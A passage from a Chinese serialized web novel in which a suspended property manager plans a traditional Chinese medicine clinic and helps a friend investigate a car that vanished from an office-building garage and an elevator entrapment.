刘明玉压低了嗓门和我说：“我去林总那了，林总新干了一个办公楼，缺人，他找我去，除了要外派，去B市工作，别的哪都比现在好，我也愿意跟林总干，你不用有负担。我好着呢！” 原来是去林皓那里了，这确实不错，林皓的为人我是知道的，心里的一大块石头掉落。 “刘姐，家里能支持你吗？外派。”我问。 “支持啊，怎么不支持呢，年薪那么高。孩子有我爸妈带着呢，我也不是回不来，休息就回来呗，车程也不长，没事。”刘明玉一边说一边吃面条，轻松无负担的样子也带动了我。 在帝豪庭一共呆了半个月，业委会终于继续跟物业公司续签了，临回去B市前，我又招了一名物业经理上来。 张建飞在我离开前，热情的和我聊这聊那，但是我心里对他就是热情不起来，因为为了他的一己私利，我违背了自己做人的原则。 “吕总年轻有为啊，而且那天听你说的那番道理，你一定是研究过风水，能不能给我卜算卜算啊，看看我的财运在哪个方位？”张建飞让我给算命。 “张哥，我和你说啊，真正有本事的大师，是不出来做这些透露天机的事情的，也不会出来出售什么吉祥物、什么滔滔不绝的给你大讲一番的，真正有本事的都在潜心修炼自己，即便是遇到有缘人，那也是只说一半，懂了吗？”我告诉张建飞真谛。 可是这个家伙明显就是不上道，还是围着我问，这样的人就是没机缘，没意义。 就在我回了B市，以为一切ok，解决完毕的时候，接到了集团的一纸红头文件，勒令我停职待命，工作全部交接给新上任的区总。 我被停职了！ 第一百四十二章 利用契机做点事情 红头文件上说我传播封建迷信，蛊惑帝豪庭业主，给公司带来了很坏的影响，经领导班子研究决定，暂停我物业区总的全部工作，停职审查。 而且这文件分发到了集团下设每一个物业经理的邮箱中。 一时间李壮、崔丹、江怀洲、孙一茂、周天翔和高阳，都给我打来电话，关心我的情况。 我只好一一安抚他们，告诉他们不管我在与不在，都要尽忠职守，我没事。 “领导，这是有人故意整你啊，这算什么理由啊！”江怀洲跟我最亲近。 “就连蔡浩都说了，如果让你走了，他也走。”江怀洲又补充。 “你赶快给我打消他的念头。我走了、我走有可能我还能找个更好的，他怎么弄？”我就怕有人跟我金属结构，到时候害得人家也没有饭碗。 “老江，你把城中花园稳住了，以后能升职，我们的情义不会变的，咱们也不是小孩子了，是不是？”我宽慰江怀洲。 “领导，你找老袁问问，到底啥情况，他都没提前告诉你。”江怀洲提醒我。 “经理，他们为什么搞你？我不服！”李壮给我打电话的时候还是直脾气。 “臭小子，你不服，你去当老板呐，给我平反。你还不服，你给我好好干听到没有！”我嘱咐李壮就得用这套，要不然他就得给我犯倔。 崔丹更直接，“经理，你走了，我可就不干了啊，我当初就是因为你商量我，我才帮你看着的，现在你都走了，我就回家享清福去了。” “咱能不能不犯浑？你当初不是因为工资翻倍才干的么？这都收了多少个月翻倍工资了，习惯都养成了，回家没钱了你能适应啊？”对于自己带出来的人，我是照怼不误。 “那不成呀，我就跟您合作习惯了，换别人我也伺候不了啊！”崔丹还耍上赖了。 “哎呦，得得得，我忙着呐，你可别给我掉链子，整的我走了都被戳脊梁骨。” 挂断崔丹的电话，我一看好几个未接来电，高阳、周天翔、孙一茂，还有老袁。 我给高阳这几个人逐一回了电话，告诉他们要安稳住，保护住自己才是我想看到的，我没事，自己有本事，到哪都一样。 孙一茂年龄比我大，还劝了我半天，让我和领导好好聊一聊，只是停职而已。 我唯独没给老袁回电话，确实，我生他气，为什么不能提前告诉我一声，搞得我这么被动。 坐在我对面的王敬之看出了我的异常，慢悠悠的说：“停职就停职呗，正好好好照顾照顾叔叔，让婶子歇歇。你不用着急，欠你的人自己会来找你说的。” “师哥，我没工作了，以后怎么养你？” “吕向荣你是不是讨打？我不养你就不错了，你还养我？我什么时候用你养了！” 我看着王敬之跟我吹胡子瞪眼睛的样子，心里觉得舒服多了。 从小到大，虽然我淘气出了名，但也从来没有被下过红头文件，这么的批评过，影响这么大，后果这么坏，真的是让我无法释怀。 我没有给老袁回电话，他果然也没再打来。 晚上的时候，倒是接到了刘明玉的电话，“吕总，我都听说了，帝豪庭这帮人太狗了，跟我们开会时候说的人五人六的，转头就去打小报告，太不像话了！不行，我得找副总去，给你平反！” “刘姐，你都离开了，就别理会这边的事了” “不行！我要是不说，上边不知道啥情况。就帝豪庭物业剩下那帮人，心眼子多着呢！他们才不会帮你说好话。” 我无语了，也没心情再聊什么，刘明玉义愤填膺的去找集团副总了，我还是想一个人安静安静。 说我传播封建迷信，福人居福地不是我讲的，是要击破张建飞的人设； 说我给集团带来了不好的影响，首先这个影响得产生恶果，恶果在哪里？为了顺这些人的心愿，连刘明玉的饭碗都砸了。 不理解，这就是我尽心尽力、忠心耿耿辅佐的公司，是我撇下患癌症的父亲，继续奔走出差为其平事儿的公司。 是，我是月月都拿了工资，但是我也按照要求做了工作不是吗？ 如果我请事 假、我家里父亲病了需要照顾，我不能去帝豪庭出差，是不是也行？ 手机铃声执着的响起来，是我妈的电话。 “儿子，早点回家吃饭，今天你姐也在，明天她就要回去了。” “我姐要回去？家里出什么事了吗？”我很担心再有坏消息。 “没有，是你姐夫来电话，要你姐回去一趟，家里有个什么证书找不到。你姐回去待几天再回来。再回来就会在这里一直陪着你爸爸了。你不用担心，不会影响你的工作。” “妈，你看你说的，对我来说当然是你们最重要，工作是干不完的。”不出现事情，谁也看不清什么最重要。 晚上又是一家人坐在一起吃饭，所不同的是我可能即将失业，我爸出院之后一直喝我的汤药，倒还稳定，不过食欲依然不好。 “爸，你想吃点什么？我明天休息，我给买回来。”我知道中药忌口，让我爸很难受。 “不是很想吃啥，要是、要是能允许，我想喝口酒......”我爸说完这句就像小孩子一样，询问式的看着我，生怕我责怪。 那眼神看的我难过，“爸，行，明天咱就喝一小口。” 我妈和我姐，还有王敬之，一起瞅着我，我知道他们都不同意。 “你们都不要看我，爸爸的心愿咱们能实现一件就是一件，也不是总喝，你们都理解理解。”我说出自己的理由。 “小弟，你有把握吗？”我姐担心的问。 “当然有把握，爸的药是我配的，我心里有数。” 他们都不说话了，开始吃饭，我爸也开心的一直抿嘴笑，我的坏心情在看到我爸开心的那一刻也释放了很多。 晚上睡不着，旁边床上的王敬之不耐烦的说：“我说吕向荣，你能不能不翻来覆去的弄那么大动静，还让不让别人睡觉？” “哎呦，师哥，你也没睡呐？”我忽然想到，冯晶晶还没消息，我师哥一定没放下过这块心病。 “你一直有声音，我怎么睡？”王敬之还是很烦躁。 “师哥，我明天给林翔打电话，你就不会这么烦躁了，嘻嘻。” “早知道可以这样，你不早点打，非要我提醒你！”王敬之从鼻子里哼哼几声。 “对了，你想没想过，现在是一个契机，你可以利用这个契机做点事情。”王敬之问我。 第一百四十三章 50万的推测 “师哥，你想说什么？我倒是没考虑过任何。”王敬之的话彻底挑起了我的好奇心。 “我是想，既然现在他们看不到你的好，咱们莫不如就干点自己的事情。你不是一直想开一家中医馆吗？”王敬之说。 “对啊！确实是时候可以干了，我手里倒是有些积蓄，不过，开了中医馆怎么给我爸治病？”我有疑惑。 “我手里也有积蓄，给叔叔治病的事情不用担心。咱们可以先做个调研，看看一共需要多少钱？都需要办理什么手续、能不能办？”王敬之竟然想的这么长远、这么体系化。 “师哥，这个点子好！开中医馆一直是我的梦想，现在一说有机会可以实现，真的让我兴奋啊！”我从床上坐起来，兴奋的不行。 “你看你，这都几点了，想想就得了，要干也得明天白天再说，赶紧睡觉！”王敬之头都没抬的呼呼睡去。 我确实很兴奋，一点困意都没有。 王敬之的鼾声逐渐传来，整个房间里静谧下来，我想了想这些年干物业接触的人和事，其实我应该感恩的，如果没有这些，我也不能短短几年内成长的这么快。 马上就到而立之年，还能够有机会开中医馆，命运确实待我不薄了。 想到这，慢慢放下了纠结，睡觉，明天又是一条好汉！ 第二天最重要的事情就是给我爸弄一瓶酒，既然我应承了他只喝一口，那也要弄他喜欢喝的。 买了一瓶酒，又采购了一些新鲜青菜，我妈和我姐一起在厨房忙开了。 我姐准备下午回去，看着她跟我妈一起忙碌的身影，我忽然觉得自己很幸福，有姐，还有师哥，什么勾心斗角、整我坑我的，都去他的吧。 饭桌上，我给我爸准备了一个最小的酒盅，里面装了很少的白酒，我爸一点点的抿着，许是因为尝到了心心念念的酒的味道，吃了不少的菜。 很久没看到他这么开心了，我姐看着我嘿嘿的笑，“小弟，记你一功。我走这几天，你可要好好照顾爸妈，等我回来检查你的成果。” “是！”我像小时候一样给我姐敬个礼，我们一家人哈哈大笑。 “爸、妈，我和师哥想开一个小的中医诊所，慢慢起步，除了实现我们的梦想以外，还能帮助更多的人。”我准备把这个事情告诉他们，听听家人的意见。 “开诊所需要不少钱吧？”我爸第一个说。 “小弟，姐觉得这个行，你干吧，姐给你入股。”我姐是支持的。 “爸，我们一开始的时候不会搞太大规模，先摸摸路子，投资太大我们也不能干。”我给我爸吃定心丸。 “向荣，妈也不懂，你觉得你能力能行，你就试试，妈手里也有点钱，需要了就给你拿去。”我妈现在越来越支持我的决定。 “叔叔、婶子，我会和向荣一起合干的，你们不用担心。我们准备保守打法，先探探路，看看能不能干、怎么干再说。”王敬之说。 “向荣、敬之，你们怎么干，咱们当老人的也给不了什么建设性的意见了，但是你们要谨守一条，坑人的事咱不干，不能因为赚那么几个钱就忘了本。” 我爸虽然虚弱，但是这句话说的很有力。 这时候我的手机响了，是林翔。 “向荣，地下室的电脑硬盘我们全都读完了，里边有名都ktv的监控原始视频，应该是之前你跟我说过的三楼的部分。” “哦？发现刘才东的什么信息了吗？”我急切的问。 “看到了刘才东跟许德生打架的那一段，还有一段之前我们都没看过，是刘才东和谢敏，两个人在撕扯什么东西，后来谢敏还抱着刘才东哭......” “啊？”林翔的话让我懵，难道刘才东真的对有夫之妇动了心？ “而且我怀疑那50万就是从谢敏的账户转给刘才东的。但是这笔钱不是谢敏的。”林翔继续说。 “什么？老林，我怎么越听越迷糊。”我确实没搞懂，50万不是谢敏的，却在谢敏的账户里。 “这50万，可能是许德生或者是丁有生的赃款。” “老林，这些事情有证据吗？” “还没有，只是现在出现的这些信息，我们的推测。对了，有许德生的消息了，而且很有可能，冯晶晶跟他在一起。” “许德生在哪？我得去救冯晶晶。”王敬之在旁边也听的很着急。 “他潜回B市了，应该就隐在某个小区里。你是干物业的，有先决条件，布布控。上回王敬之你不也是这样从城中花园救出来的吗！”林翔给我吩咐了任务。 我不想把自己停职的 事情告诉他，因为虽然我下来了，我的兄弟们都还在，跟他们说一声，也都能帮我找。 “好，我一定密切留意。”我回。 “还是和以前一样，有了消息不要轻举妄动，先通知我，知道吗？”林翔嘱咐。 “知道！放心吧！” 结束了跟林翔的通话，王敬之把内容都听去了，“向荣，我也帮着留意。本来我想着你这样了，我就不干了，但是现在看来，我还得坚持一段，锦绣是个大盘，出租率也很高，很有可能会潜入这里。” “师哥，那我们开诊所的事情？” “先打听打听，这几天你也去跑跑工商税务，查查国家政策，最后我们再研究吧。” “师哥，如果发现许德生的踪迹，一定要先告诉我，不要自己先出手。”我担心王敬之的安危。 “你放心吧，我的黄金罗盘还没找到呢，必须揪出这小子！”王敬之恨恨的说。 下午吃好了饭，我和王敬之去车站送走了我姐，路上王敬之问我：“向荣，你在帝豪庭到底说了什么事情，人家说你宣传封建迷信？” “我哪能呢！你还不知道我呀，一向向往低调，不逼到份上我怎么可能露相。”我把事情经过给王敬之讲了一遍。 “如果是这样说，你也没有说什么过格的啊，是不是之前得罪了谁，被人家添油加酱了？”王敬之怀疑。 得罪了谁？我想到了程佩娴，虽然她离开了，但是她毕竟是老板的“关系户”。 “师哥，其实物业管理这份工作，我干的挺有兴趣的，尤其是我看到能通过我自己的想法，让那些楼盘产出收入的时候，能帮助到像蔡浩、安宁这样的人的时候，但是，帝豪庭这件事真把我心伤了，老板太老板了，为这样人卖命有点冤。” 第一百四十四章 丢失的 mini 我顿了顿又说：“之前的林皓也是这样，林哥你都知道，为了集团连个人问题都没解决，一直孤身一人呢，可是就因为一个穆艳红，就下课了，哎！” “向荣，这事儿现在不是停职嘛，还说不准是个什么结果呢，正好这段时间你安静安静，好好温习温习你的本领。”王敬之安抚我。 “我啊，我帮你找冯晶晶去，正好利用这段时间把许德生给逮住！” 王敬之看着我自信的样子，没说话。 “咋的？你不相信我啊？师哥。”我问。 “倒不是不相信，但是至少没那么容易吧。许德生我们都见过，而且他杀了这么多人，早就是个穷形极恶了，你啊，千万别太自信！” 王敬之说的话有道理。 还有一件事我挺纳闷的，我停职已经三天了，老袁一个电话都没再打过来，看来这人还真的要经历事情去试，不试，你永远无法知道人心到底如何。 安安稳稳的开始了不得不的停职生活，开始为自己的中医馆到处奔波，王敬之说可以在锦绣租个底商，这里有群众基础，客源好。 正当我激情满满准备投入自己的事业之时，接到了林皓的电话。 “向荣，我遇到点棘手的事，你能不能来帮我看看？”电话里的林皓欲言又止。 “林哥，什么棘手的事？能让你这么为难，还特意找我去看啊？”我很好奇。 “我接了个新盘子，从介入到运营，都挺顺利的，招商达成已经接近90%，可是自从车库那辆mini凭空消失了之后，就开始不顺了。”林皓说。 “什么？你是说车吗？凭空消失？” “对，一辆车，价值30万左右吧，新车没开上三个月，也报警了，但是就是什么痕迹都没有，监控更是啥也没录到，就跟当初3号一样！”林皓懊恼又疲惫。 “现在丢车的业主不依不饶的，要起诉我们，连带着一些刚入驻的业主物业管理费也不交了，都在等着看怎么解决，我这边欠员工三个月工资了，银行贷款开的工资，现在也跟我这催债......” “啊？林哥，出这么大事儿你咋不早点找我呢？我这里有十万块钱，你先拿去给员工把工资结了吧。” “那不能，我听说了你父亲得病的事情，正是用钱的时候，我怎么能用你的钱！你放心，工资的问题我会去想办法，现在是丢车这件事，还有造成的不良影响，我一脑门子官司。我这庙小，很多业主没听过，就都利用这件事质疑我们公司的水准，还有借机压价的，什么人都遇到了。” “行，林哥，你说吧，需要我过去帮你干什么？”我觉得一定可以解决，没那么难。 “向荣，你被停职的事情我听刘明玉说了，我的想法是你还是等那边最后的结果再定去留，你来我这帮我支几天，等哥缓过来了，哥给你一笔咨询费。当然，如果你想好了就要来我这干，我热烈欢迎。”林皓说。 我没和林皓说我正准备开诊所，说了他更会不让我出钱。 “林哥，你看你，咋老和我提钱。你说的去留问题，我的想法跟你是一样的，我等他们最后的结果，然后再定去留。明天我就去你那里帮你看看到底什么情况。” “好，明天你来以后我们再细说。”林皓跟我结束了通话。 林皓的新盘子是一家办公楼物业，一栋大厦，三个单元，一共33层，每层4户，也有包了整一层，打通做开放式办公室的，总之就是盘子很大。 我之前没接触过这种物业形式，正好去看看，去学习学习。 林皓的新办公室很大、气派，确实不再是物业总的排场了，有老板的样子。 “林哥，你现在这太可以了啊！真为你高兴。”我跟着他进了办公室有感而发。 “这些都是外表的东西，给关系单位和客户看的，实际内里啊，现在还不行呢，而且一旦这一关过不去，我恐怕就要成为负债累累的老赖了。”林皓很悲观。 “林哥，不会那么背的，一定能解决，你放心。”我坐在柔软宽大的沙发里，看着林皓给我泡茶。 刘明玉推门而入，“吕总，林老板说你要来，还真快，我们又见面啦！” 我看着一身职业装尤其容光焕发的刘明玉，心里感慨，有这么亮眼的女物业经理在，招商肯定能给力的啊！ “刘姐，怎么样？在B城生活还习惯不？”我关心的问。 “挺好，林老板还给我单独租了一间宿舍，我可以后顾无忧的一心工作。之前没接触过这种办公楼的物业，很多都要学习。正好你来了，跟你打配合我特别有信心。”刘明玉开心的说 。 “明玉，你不知道，向荣跟我的时间比你还要久，我还是一个小区的物业经理的时候，他就跟着我了，他那时候刚20出头，青葱似的，小伙阳光着呢！”林皓夸我。 “林哥，我啥时候不阳光了？一直很阳光，好嘛！”我假意抱怨。 “哈哈，对对，一直很阳光。”林皓递给我一杯茶，然后问我：“刘才东的事情解决了没有？凶手确定没？话说这都好多年了吧？” “凶手基本已经确定了，现在正在抓捕阶段。前几天林翔和我说，他潜回了B市，很容易就隐藏在人员最密集的居民区，让我平时多留意各个物业呢。” “哦？那不是正好吗，你就是管物业的，把特征告诉下边这些兄弟们，让他们帮着找。” “我也是这么想的，但是现在毕竟停职了，有些事情没那么方便了。”我低声说。 “林哥，别说我了，说说这边吧，到底什么情况？”我想了解的再详细一些。 林皓详细的说了事情的原委。 这栋大厦叫做正阳大厦，丢车的女业主是12A某公司的财务经理，也是那家公司老板的小三，他们不避讳外人，所以整个物业都知道这件事，不是什么秘密。 丢车那天一整天，三姐都没有开那辆mini，停在负二层流动车位上。 晚上十点多，她忙完工作从公司直接下到地下停车场，想开车回去的时候，发现车没了。 报了警之后，警察来到物业调取了监控，但却一无所获。 警察怀疑物业有人监守自盗，还把林皓“请”进去询问了24小时，他们怀疑林皓在监控上做了手脚。 但是当然未果，林皓根本不清楚发生了什么。 事情到现在过去一个多月了，还在原地踏步，毫无进展。 第一百四十五章 电梯困人 “林哥，mini车是不是有那种防盗传感器呀？”我忽然想起车里是不是有类似的追踪装置。 “有防盗传感器，但是没有起作用。而且这辆车本来是要安装gps定位的，就前后脚，第二天要装，前一天就丢了。”林皓说。 “林老板，会不会是那家公司老板的大房监守自盗啊？”刘明玉猜。 “警察也问过话了，说是没有可疑。老板的正室常年卧病在床，一儿一女都在国外，根本没人管三姐的存在。”林皓说。 “他们公司经营什么业务的？”我问。 “好像是什么软件系统，搞开发的，然后一个系统如果卖出去了，能赚几十万那种。” “哦，软件开发公司，那公司里都是计算机类的人才呗。”我又问。 “人才不人才的不知道，反正他们公司的员工下班都很晚，我每天晚上值班巡夜，到了他们12A，都是灯火通明的。”刘明玉说。 “向荣，这种办公楼的物业，主要是地理位置优越，像咱们正阳就是在一环中心，我们的业主主要是商业公司或机构，我们负责提供配电、给排水、电梯、消防系统等设备的维护和管理，当然了，还有保洁和安保。”林皓给我介绍。 “那大厦里面几乎每户都出租了是吗？” 林皓看向刘明玉，“明玉，今天那两份签了吗？今天如果签了就正好达到90%了。” “今天的没签呢，都说回去考虑考虑，丢车这件事影响很大，一传十、十传百的，来看场地的人竟然都听说了。”刘明玉叹气。 我一看，现在正是正阳大厦水深火热的时候啊！ “林哥，我想四处转转，先去一趟监控室吧，看看安保的人。”我想赶快投入战斗。 “行，让明玉陪你去吧，我还要打几个电话。”林皓说。 “走吧，吕总，我带你转转。”刘明玉边说边站起身。 “刘姐，换个称呼吧，吕总、吕总的，听着怪别扭的，叫我名字就行。”我微笑着说。 “好，向荣弟弟，我带你到处看看！”一句话说的我们两个都笑了起来。 刘明玉先带我来到位于负一层的监控室，进去之后，我被眼前的设备惊住了，很前端，科技感很强，“刘姐，这、难道你们？” “对，正阳我们采用了智慧物业的管理模式，林老板说宁可多花一些钱，也要走在最前沿。智慧物业运用大数据分析技术，对大厦里的设施设备运行、业主需求等进行全面运营管理，可以让物业实现精细化，质量更高，及时性更强。” 我听的心潮澎湃，林皓果然是干事情的人。 “刘姐，那我们这么先进了，还是没有发现任何mini丢失的影像吗？”我问。 “这不一样，数据驱动是实时监控各设备的运转情况，业主丢车是个案。” 我开始在头脑中思考，到底是什么样的情况，车能开走，还不被监控看到呢？ 车辆只要被人启动，即使经过保安的车辆出入口，也无法发现车是被偷车贼开走的，问题到底出在哪呢？ “走，我带你上楼转转，我们从顶楼往下吧，也顺便让你看看保洁的工作区域。正阳现在每层楼都有一个卫生间，保洁的工作量特别大。”刘明玉说。 我们是从地下一层往上行坐的电梯，一路上没遇到什么人，到了33楼之后，顶楼的办公视野那是没的说。 刘明玉的手台突然响了，“2号电梯事故、电梯事故，刘经理，2号电梯里困住了十几个人！” 手台里的声音清晰可辨，我俩都懵了，困住了人！ “刘姐，咱们的电梯运行了多久了？写字楼电梯困人，这可不妙。”我着急。 “按说不会呀，上周林老板刚和电梯厂家的人聊过的，就这一两天就来维保的。” 怎么事情都赶的这么巧呢？都卡在节骨眼上。 “走，我们赶快过去，被困在几楼了？” 刘明玉呼叫手台对方，询问被困楼层。 是14楼和15楼中间的位置，1、3、4号电梯都距离我们这层很远，情急之下我俩走了消防通道，一路小跑向出事楼层。 14楼那里聚集了几个物业人员，负责工程的经理也在，看到刘明玉过来了，着急的说：“不好办呀，已经困住接近半个小时了，里面十几个人，恐怕再久会有按捺不住的。” “联系厂家的人了吗？”刘明玉问。 “找了，他们在赶来的路上。” “怎么这么久呢？” “刚开始的时候我们没觉得会这么严重，这电梯你知道的，并 没有运行多久。可是谁知道我们的人忙活了很久都不得要领，所以耽误了十几分钟。”工程经理回。 “你是说不是电梯自身老化的问题？”我问。 “噢，他是林老板请来的顾问吕总。”刘明玉又看向我说：“这位是我们的工程经理岳堂。” 我跟岳堂握了握手，岳堂就着我的问题说：“按说是不应该，毕竟没运行多久，但是这也不好说啊，正阳在我们接手之前一直是闲置状态。” 我看看岳堂什么都不能确定的说辞，只好沉默。 这个时候除了等待厂家的人过来，没有其它办法了，我走到电梯门附近，趴到上面听里面的动静。 “听不到的，现在电梯一半在14、一半在15。”岳堂说。 “如果一直悬挂，会有掉落的可能吗？”我忽然很担忧。 “这，应该不会吧......”岳堂并不敢肯定，我知道他现在弄不清楚因为什么电梯停运，所以是否有掉落的可能，确实不能确定。 刘明玉听我说完也很着急，电梯掉落的话，后果无法预知。 岳堂看看我们两个的样子，又说：“两位不要想太多，电梯发生急坠的概率很小很小，真的出现意外的情况也是很少。” “岳经理，再给厂家打个电话吧，看看到哪里了。”我说。 “刘姐，电梯里面是不是有个应急装置是可以对里面的人讲话的？”我问。 刘明玉点头。 “刘姐，你安排一下，说一些安抚里面人的话，关心一下被困的人。尤其里面如果有心脏病或者幽闭恐惧症的人，千万别出事故。我担心里面有人情绪紧张失控，扒门、踢门。告诉他们维修人员马上就到，让他们不要急、不要怕，安静等待。” “好的，我这就去办，向荣，这里你盯一下吧。”刘明玉转身去安排这件事情。 可是，不知怎的，我听到一种拖不住的声音，直觉电梯有稳不住的样子。 糟糕！ 果然，电梯很快的下坠，我为里面的人捏了一把汗，怎么办？ 第一百四十六章 错综复杂的利益关系 又传出很重的一个牵制声，电梯停住了，我和岳堂等几个人又向下跑，这时候手台传过来，“下坠到了11、11停了！” 岳堂不淡定了，我更不淡定了，这要是出了人命，这座大厦、林皓干不了了！ 我们到了11层，厂家的维修人员也到了，电梯里面的人已经被困达到了45分钟。 我已经不敢去细想里面是不是有基础疾病的、是不是都能稳住等待救援了。 “师傅，您怎么才到这里？现在已经被困45分钟了。”我询问急匆匆赶来的两个人。 “我们的车在路上遇到了交通肇事，后半截路我俩是一路小跑过来的。” 我不再说话，看着他们开始手忙脚乱的解救被困的人， 因为电梯的轿厢目前位于11层平层位置，维修人员切断了电梯的主电源，使用三角钥匙一点点开了电梯门。 “大家不要着急，不要抢，以最快的速度走出来！”维修人员说。？ 里面的人各自不同的状态，明显都已经吓坏了，不过幸好还没有争抢着往外跑，我引领着里面的人一个个走出来的时候，真的很害怕电梯在这个时候再下坠。 最后一个人走出电梯的时候，我的后背被汗水浸透，像被水淋过一样。 可是，有两个人出来以后就瘫倒在地，走不了，我又赶紧拨打了120来救援。 这两个人都是楼里某公司的员工，一个有心脏病，另一个确实是幽闭恐惧症，临被解救出来以前，就开始呼吸不畅、头晕目眩了。 人员各回各处之后，维修人员说是电梯控制柜的电子秤出了问题，所以才导致了事故。 “具体是什么问题呢？我没有理解。”我问。 “就好比一个秤，如果电梯超重，电子秤监测到了肯定就不会走了，当时就是这个电子秤出了问题。电子秤已经修好了，目前这部电梯运行还可以，如果电子秤再坏就得换一个。”维修人员说。 “超重？里面的人数符合电梯乘坐标准呀，怎么会超重呢？而且，它还下坠了！”我问。想了想又补充，“小师傅，是不是四部电梯都开始老化了，你把其它三部电梯也给看看吧，是不是需要大修？” “老化倒也谈不上，不过确实不是新电梯，尤其是还闲置了一段时间。”维修人员说。 厂家的人维修的时候，我跟岳堂说让他派人跟着监督，自己赶紧回去找林皓。 林皓这会儿正在办公室里抽烟，一遇到大问题就靠吸烟解压的毛病，还是没有变。 “林哥，你身体不要啦？还是靠吸烟解压！没事了，也没有人员伤亡。明天我和刘姐去医院探望一下今天住院的两个人。”我给林皓吃定心丸。 “向荣，你给哥看看，是不是我不适合干这个盘子啊？怎么这么不顺！”林皓抱怨。 我一看房间里也没别人，就怎么想的怎么说了。 “林哥，别相信算命那一套，命越算越薄，知道了天意也未必是有助益的事，有时候很可能因为你知道了，后续还会改变。咱们有问题就解决问题呗，你怕啥？经历了那么多大风大浪了，这点事就给你打倒了？” 林皓看看我，若有所思的说：“向荣，你说说，那可是一辆车啊，怎么能说没就没了呢？线索都查不到。” “未必没有线索，恐怕是有人故意让我们认为没有线索。”我也若有所思。 “哦？这么说，你已经有主意了？”林皓眼睛一亮。 “没有主意，我还没去12A呢，就出这事了。我得先跟事主见见、聊一聊才有判断。” “行，有你在我也放心不少。咱们之前接手的那么多物业奇葩事，都很棘手，也都解决了，可能因为这个盘子是自己的，投入太多，所以我输不起了！” “林哥，你的心情我理解，我定帮你度过这一关。”我跟林皓保证。 “向荣，我们下一步怎么做？”林皓已经没了主意。 “林哥，你先给我讲讲正阳大厦的由来，你是怎么拿下的？之前闲置多久？为什么闲置？”我想了解的更多一些。 正阳大厦开发的时候因为宣传力度不够，招商定位也没做好，一直没有多少商业入驻。 闲置了五、六年，中间换过3、4个代理公司，业主也是走了一茬又一茬。 后来被某事业单位的下属机构接收了，开始从头捋顺，在物业服务上采取招投标的形式进行公开招标，林皓也是在这个时候才正式介入正阳大厦的业务。 在最后的中标环节，林皓打败了另一家，夺得了物业管理权，现在刚刚服务了一年，签署的协议是五年。 “林哥，这么说，你在这个争夺的过程中是有很多竞争者的。”我问。 “对，因为正阳所在的地块好，这几年B市经济形势越来越好，所以这里也越来越受瞩目。”林皓回。 “那你介入的时候，有多少业主已经入驻了？” “大概有20几家吧，20楼之上都是空的。他们外包了一家保洁公司，保洁给维护环境卫生，设备维护等方面没有人管，是我们介入后才走上正轨的。” “现在的保洁还是外包的吗？”我问。 “对，而且还是那家保洁公司，我跟保洁公司负责人聊得来，合作还可以，也就没换。” 我开始思考，林皓看我半天不说话，问我：“向荣，你是怀疑这些竞争者搞事情？” “并不是没可能。我去看看厂家的人走了没，你别多想了，该招商招商，宣传推广跟上去，舆情不能再扩散。”林皓点点头，开始着手办事，我去找岳堂。 岳堂正和几个厂家的人在聊天，看见我过去了，眼神有点闪躲。 “怎么样？岳经理，都搞完了吗？”我问。 “搞完了，另外几部应该没有问题，几位师傅给看过了。”岳堂说。 “几位师傅，2号电梯今天的故障是因为零件老化吗？”我直接就问出了怀疑。 那几个人想了想说：“倒是不像，电梯确实安装了有年头了，闲置期间基本没有维保过，但是今天里面困住的人数、重量，这些不应该导致今天的事故。” 我又看了看岳堂，他不说话，就那么听着。 “好，岳经理，林老板说了维保协议正常签，跟厂家师傅把后续的维保计划确定好，绝对不能再出事故，这是红线。” 说完我看看岳堂，也看看维保的人，他们都听懂了我的话外音。 “吕总，我明白，我跟他们谈。” “行，那你对接吧，我到处看看。”出了岳堂的办公室，我准备去一趟12A。 第一百四十七章 大批量裁员 12A搞的装潢很现代，很科技的那种现代，他们自己把整层楼的几户都打通了。 公司的大门搞得也很科技，窗明几净的感觉，一看就会感觉这家公司不缺钱。 我要如何有个说辞进去看看呢？最好还能认识认识老板和那个三姐财务经理。 如果我用物业的身份贸贸然的进去，恐怕听到的都是指责和意见，听不到事情的真实情况，怎么办呢？ 一抬头，发现自己走到了男卫生间门口，索性进去看看，林哥嘴里说的干的好的保洁，是啥质量的。 进去以后，发现里面有四五个人在抽烟，看到有人进来，是生面孔，都该干嘛干嘛。 其中有一个人说：“听说了没？那个裁员名单又改了，这回增加了10个人。” “啊？又增加10个！那我们开发部还剩谁了？”另一个胖子忿忿的说。 “咋不从市场和销售那帮孙子上裁啊？我们才是公司的核心人才！”还有一个说。 “你们说，老板是不是在外面欠赌债了？我看这公司各方面福利啥的没缩水啊，而且我们这几款新产品给他赚的盆满钵满，为什么要裁员呢？”还是第一个人说。 大伙都不言语了。 我看看时间也够了，走出了卫生间。 原来这家公司是看着风光，内里有事发生了，出什么事了呢？丢了一辆mini就裁员，不至于，我准备去找保洁问问。 保洁每天都跟这公司的员工接触，或许能告诉我一些我不知道的讯息。 负责12A的保洁是个50岁左右的姐姐，“您好，我是这边物业新过来的经理，请问您贵姓呀？”我主动介绍。 “哦，您好您好！免贵姓于，您是不是有事啊？” “于姐，还真有点事，这层楼的公司看着挺不错的，老板挺有钱吧？”我问。 “老板啊，有没有钱我倒是不知道，我就见过一回，又矮又小的，长得倒是眉清目秀，不咋说话，老是很严肃很严肃的。他们公司在没有你们物业的时候，就在这里了。”于姐看来也是早就在这了。 “于姐，你也是一直在这干了吧？”我问。 “对，有正阳我就在这了。对了，经理啊，他们这个财务经理，我觉得有问题。” “财务经理？就是丢mini车那个？” “对啊，她是12A老板的情人，两个人感情应该挺好，因为那个女的穿金戴银的。据说鞋子也很贵，我是不懂那些牌子什么的，都是听这里的年轻人说的。”于姐回。 “那她怎么奇怪了？情人的身份奇怪？”我更好奇了。 “她那个丢车的事情，我看她也不着急，就算是有钱吧，也不能丢辆车就跟没事儿似的吧！而且有一回我听见她在女厕所打电话，说什么谁也发现不了、放心之类的话。出来以后看到我在，还狠狠瞪我一眼。”于姐一边拖地，一边跟我唠。 还有这事？难道是？ “于姐，你听说了他们公司在裁员吗？”我忽然想起来。 “听说了，据说是要裁掉老员工，招新人。” “啊？不是因为业务不好缩水呀？”我都愣了，这啥原因。 “我是听他们那个女的，好像是管人事的说的，工作三年以前的都不要啦！” 信息量很大，我得消化消化。 “于姐，最近你多留意这家公司人的一些谈话内容，有异常你一定要告诉我，我叫吕向荣。对了，他们家丢车那天，有什么不同于寻常的事情发生吗？” “丢车那天？丢车那天下大暴雨，我在下雨之前就回家了，没什么异常啊。”于姐很认真的在想我说的话。 告别了于姐，我去坐电梯下楼。“吕经理、等等”，于姐追过来。 “怎么了于姐？”我看看电梯马上就到了。 “那天12A的总经理跟财务经理吵架了，吵的可凶了，他们公司的人都知道，但是谁也不敢劝。” 